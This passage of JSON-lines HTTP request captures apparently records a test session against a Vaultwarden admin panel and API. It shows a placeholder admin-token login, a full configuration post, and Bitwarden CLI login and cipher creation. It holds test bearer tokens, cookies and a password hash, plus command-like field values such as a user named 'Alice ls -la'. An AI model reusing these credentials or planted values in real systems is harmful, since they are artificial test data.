"Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0, i"], "body": ""}
|
||||
{"method": "GET", "target": "/vw_static/bootstrap.css", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
|
||||
{"method": "GET", "target": "/vw_static/admin.css", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
|
||||
{"method": "GET", "target": "/vw_static/admin.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1"], "body": ""}
|
||||
{"method": "GET", "target": "/vw_static/vaultwarden-icon.png", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2, i"], "body": ""}
|
||||
{"method": "GET", "target": "/vw_static/bootstrap.bundle.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
|
||||
{"method": "POST", "target": "/admin", "headers": ["Host: example.com", "Content-Length: 25", "Cache-Control: max-age=0", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0, i"], "body": "token=example-admin-token"}
|
||||
{"method": "GET", "target": "/vw_static/admin_settings.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
|
||||
{"method": "POST", "target": "/admin/config", "headers": ["Host: example.com", "Content-Length: 2536", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE4NzEsImV4cCI6MTc5NDI4MzA3MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.dqnU1s193U1PLoFNp_4u0tpzEqsjYzZvUYrtf9Q3D3EVUxRIn4EWTEiRBs6TkqDPqSi6JKnNllQuRYkMNVONYZFMHbmsppVUlV5WOhx1A9LvVe7Cqk9WvqA2thcDXubov1xr7B2jr3_JRGrKz5lFL0biHIi_ShI58Fb_aM3SraEJkTxGiP5RQgq5Nt3wBe6ihM7AMmWW03x-uwuGA89mDpHVxT2NpVQT4eEAmV7HsVmHF1-kDANtijg6u-ib8_S2re-pvdFRCN019zb63uRAtuyVJ1DUEbwXZyPifGC9BOKUIXx3lKQEHMS6O8s_umaxqxc19GIojMIU2iIcYhngpQ", "Priority: u=1, i"], "body": "{\"sends_allowed\":true,\"disable_icon_download\":false,\"signups_allowed\":true,\"signups_verify\":false,\"invitations_allowed\":true,\"emergency_access_allowed\":true,\"email_change_allowed\":true,\"password_hints_allowed\":true,\"show_password_hint\":false,\"http_request_block_non_global_ips\":true,\"disable_2fa_remember\":false,\"authenticator_disable_time_drift\":false,\"require_device_email\":false,\"reload_templates\":false,\"increase_note_size_limit\":false,\"dns_prefer_ipv6\":false,\"sso_enabled\":false,\"sso_only\":false,\"sso_signups_allowed\":true,\"sso_signups_match_email\":true,\"sso_allow_unknown_email_verification\":false,\"sso_pkce\":true,\"sso_auth_only_not_session\":false,\"sso_debug_tokens\":false,\"_enable_yubico\":true,\"_enable_duo\":true,\"_enable_smtp\":true,\"use_sendmail\":false,\"smtp_embed_images\":true,\"smtp_accept_invalid_certs\":false,\"smtp_accept_invalid_hostnames\":false,\"_enable_email_2fa\":false,\"email_2fa_enforce_on_verified_invite\":false,\"email_2fa_auto_fallback\":false,\"user_attachment_limit\":1048576,\"org_attachment_limit\":null,\"user_send_limit\":null,\"trash_auto_delete_days\":null,\"incomplete_2fa_time_limit\":3,\"signups_verify_resend_time\":3600,\"signups_verify_resend_limit\":6,\"password_iterations\":600000,\"icon_redirect_code\":302,\"icon_cache_ttl\":2592000,\"icon_cache_negttl\":259200,\"icon_download_timeout\":10,\"two_factor_remember_days\":30,\"admin_session_lifetime\":20,\"sso_client_cache_expiration\":0,\"smtp_port\":587,\"smtp_timeout\":15,\"email_token_size\":6,\"email_expiration_time\":600,\"email_attempts_limit\":3,\"domain\":\"https://example.com\",\"fill_assist_rules_url\":\"https://fillassist.bitwarden.com\",\"hibp_api_key\":null,\"signups_domains_whitelist\":\"example.com,example.org\",\"org_creation_users\":null,\"admin_token\":\"example-admin-token\",\"invitation_org_name\":\"python3 and .htaccess vault\",\"ip_header\":\"X-Real-IP\",\"ip_header_trusted_proxies\":\"local\",\"http_request_block_regex\":null,\"log_timestamp_format\":\"%Y-%m-%d %H:%M:%S.%3f\",\"allowed_iframe_ancestors\":null,\"allowed_connect_src\":null,\"sso_client_id\":null,\"sso_client_secret\":null,\"sso_authority\":null,\"sso_scopes\":\"email profile\",\"sso_authorize_extra_params\":null,\"sso_audience_trusted\":null,\"sso_callback_path\":\"https://example.com/identity/connect/oidc-signin\",\"sso_master_password_policy\":null,\"yubico_client_id\":null,\"yubico_secret_key\":null,\"yubico_server\":null,\"duo_ikey\":null,\"duo_skey\":null,\"duo_host\":null,\"smtp_host\":null,\"smtp_security\":\"starttls\",\"smtp_from\":null,\"smtp_from_name\":\"Vaultwarden\",\"smtp_username\":null,\"smtp_password\":null,\"smtp_auth_mechanism\":null,\"helo_name\":null}"}
|
||||
{"method": "GET", "target": "/admin/users/overview", "headers": ["Host: example.com", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE4NzEsImV4cCI6MTc5NDI4MzA3MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.dqnU1s193U1PLoFNp_4u0tpzEqsjYzZvUYrtf9Q3D3EVUxRIn4EWTEiRBs6TkqDPqSi6JKnNllQuRYkMNVONYZFMHbmsppVUlV5WOhx1A9LvVe7Cqk9WvqA2thcDXubov1xr7B2jr3_JRGrKz5lFL0biHIi_ShI58Fb_aM3SraEJkTxGiP5RQgq5Nt3wBe6ihM7AMmWW03x-uwuGA89mDpHVxT2NpVQT4eEAmV7HsVmHF1-kDANtijg6u-ib8_S2re-pvdFRCN019zb63uRAtuyVJ1DUEbwXZyPifGC9BOKUIXx3lKQEHMS6O8s_umaxqxc19GIojMIU2iIcYhngpQ", "Priority: u=0, i"], "body": ""}
|
||||
{"method": "GET", "target": "/vw_static/datatables.css", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
|
||||
{"method": "GET", "target": "/vw_static/datatables.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
|
||||
{"method": "GET", "target": "/vw_static/admin_users.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
|
||||
{"method": "GET", "target": "/vw_static/jdenticon-3.3.0.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Accept: application/json", "Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 232", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "scope=api%20offline_access&client_id=cli&deviceType=25&deviceIdentifier=ccfb4fde-2e17-4f5f-8b15-46634b36002f&deviceName=linux&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/api/ciphers", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 1641", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"type\":1,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"549cd3b87c242101679813f95c7c6cac\",\"folderId\":\"c237cd82-467a-4c5d-9497-289558b53894\",\"name\":\"2.Z5nJmiXusWFtUowJ7x5f9A==|OT1Jafd+iP6WNDUDY5W7HzmHWocQ/ddLLa7V/5DQSSg=|hin/K/21td17P1wDUlA0xd+/JjRn1bEIu5hbH/A3kgY=\",\"notes\":\"2.fqwOR1L0ja5sAZTmOMGrPQ==|SvlTbCxXQG5Wx9EYB854VkgJQ3iLcCXFtYfwimCo/O4wdTVdZrmHJTgbkpQr+zD4|Ofi9g56OqdgZM7/ddLzfJH3euRsx2pChmmnqzxzx4ms=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:40:13.604Z\",\"reprompt\":0,\"key\":\"2.qNWgSW0wFWRiBQQ2pBvugg==|kf6Xwaj862w3tBVw8OT64wSSpYa2MNBuOMrc8b8bip7HrTXNfA+GIUW6pRJzwZYmCOesNq46IDpxurmRyQ7Gb9WLPLFx8fsDiZkeI2I24Vk=|ci/4lTheuU7Hlnx8mOufyuwv2mFXteTgl6AQBcvWr/w=\",\"login\":{\"response\":null,\"uris\":[{\"response\":null,\"match\":null,\"uri\":\"2.oQGgNV5p828JCPOVFIHGGQ==|DTvjo/kZiqby8ExwSBarw8GGBSD/IUN615dhbXc9JSc=|ZWDOC3nspTqtrGGAkm1iYeWG/5eV9/GF1oviZmBbvV0=\",\"uriChecksum\":\"2.K5ouCALcJP/tMSf2S7dW+g==|Y7LtYrDmckgUKul737xaMu08uUlCBpDj0X6Ewf0EPvlYIseO8G2ZwdgZQMgEsNKj|1FbMWYkYTA0GuLtaTlZo7WmevR3HPLIF/WVSzN+pPbc=\"}],\"username\":\"2.D034Q18CToi5ThaCH/vu1w==|cyPg7OXzwOMKVvHQTcfwMA==|IMtP9OTXhOu0/favJhaQAIVvwNz5zgqXj+cger9MHac=\",\"password\":\"2.8qcMZleZOhaEhNoETuzkGw==|bhTYthxRwvJ1Kxxmo4Co4prk0aJ5H4sbWuN/Px3Q8Ho=|i9GUianKi4QiSmWu2R0BWHQInbZ9QQlBWNv5+tszlGo=\",\"passwordRevisionDate\":null,\"totp\":null},\"fields\":[{\"response\":null,\"type\":0,\"name\":\"2.YsBSbtParc2pxtRlpURxgg==|Kno9h1nOV1VsuIknb1DeXA==|aV36kKZE3qtt8e/md3zwzVDDPl3hLoaUKAkOHoZQMNw=\",\"value\":\"2.xRJYPuHn8mIO5D743JI9+w==|Nc3RZCADbfznlMviEawJQqpvuQiq5r59heiWKhX8aKo=|7sX/rT3B0t8Fn00Q6Y3FKqcUXOif6xGi1uIWvHipFDE=\"}],\"attachments\":{},\"attachments2\":{}}"}
|
||||
{"method": "POST", "target": "/api/folders", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 127", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"name\":\"2.WVAqr2ytaGgHd+S+ZKeE1A==|gXEYrZ9+X0b0Ed+LykvEHhNSWT1iyYDLbK7WthUMeI8=|Zkw8+UtMRnnT8QLk5mVHoNLvSByUjj+zYhBypot+518=\"}"}
|
||||
{"method": "POST", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63/attachment/v2", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 386", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"key\":\"2.Def2b4y2obPcEEhvLZ52xA==|zoAva9s0BZk3RNy+xbUs5OWWQinGE3MatMZsqAsFC4VwgFizr8ulohf+vwdjFzxoYPzSQAMa6lkqPBaHrU/DHAgx+UDHuYUm8wKrKMz2vp8=|ZyYdXZnb15do5/5u9WMnQvhXuOaI54wOG0yjEz6xutU=\",\"fileName\":\"2.M31m0EXbTECu5cga3Qewug==|v/zzXQqZRUF3z9hD/pwfMg==|JWsETiWitRU5uMe5fFC4MIFOh38K6GnLzoL0TT5BliI=\",\"fileSize\":81,\"adminRequest\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:40:14.010Z\"}"}
|
||||
{"method": "POST", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63/attachment/27064510a3e9ed1edca1", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: multipart/form-data;boundary=--------------------------ac1fbd723921f8cdbcedef14", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Accept: */*", "Content-Length: 372", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "----------------------------ac1fbd723921f8cdbcedef14\r\nContent-Disposition: form-data; name=\"data\"; filename=\"pwfMg==|JWsETiWitRU5uMe5fFC4MIFOh38K6GnLzoL0TT5BliI=\"\r\nContent-Type: application/octet-stream\r\n\r\nAt/odN546UbzO4vonQvDYG0dftxXWYyVm64t/i8bNlKi0/U8UNTrtiSDVyGNbHDAyDpyFsjM+CYFBAwFGgbZXRF/R2UtRsQiqfLnMkDUmgpX\r\n----------------------------ac1fbd723921f8cdbcedef14--\r\n"}
|
||||
{"method": "PUT", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX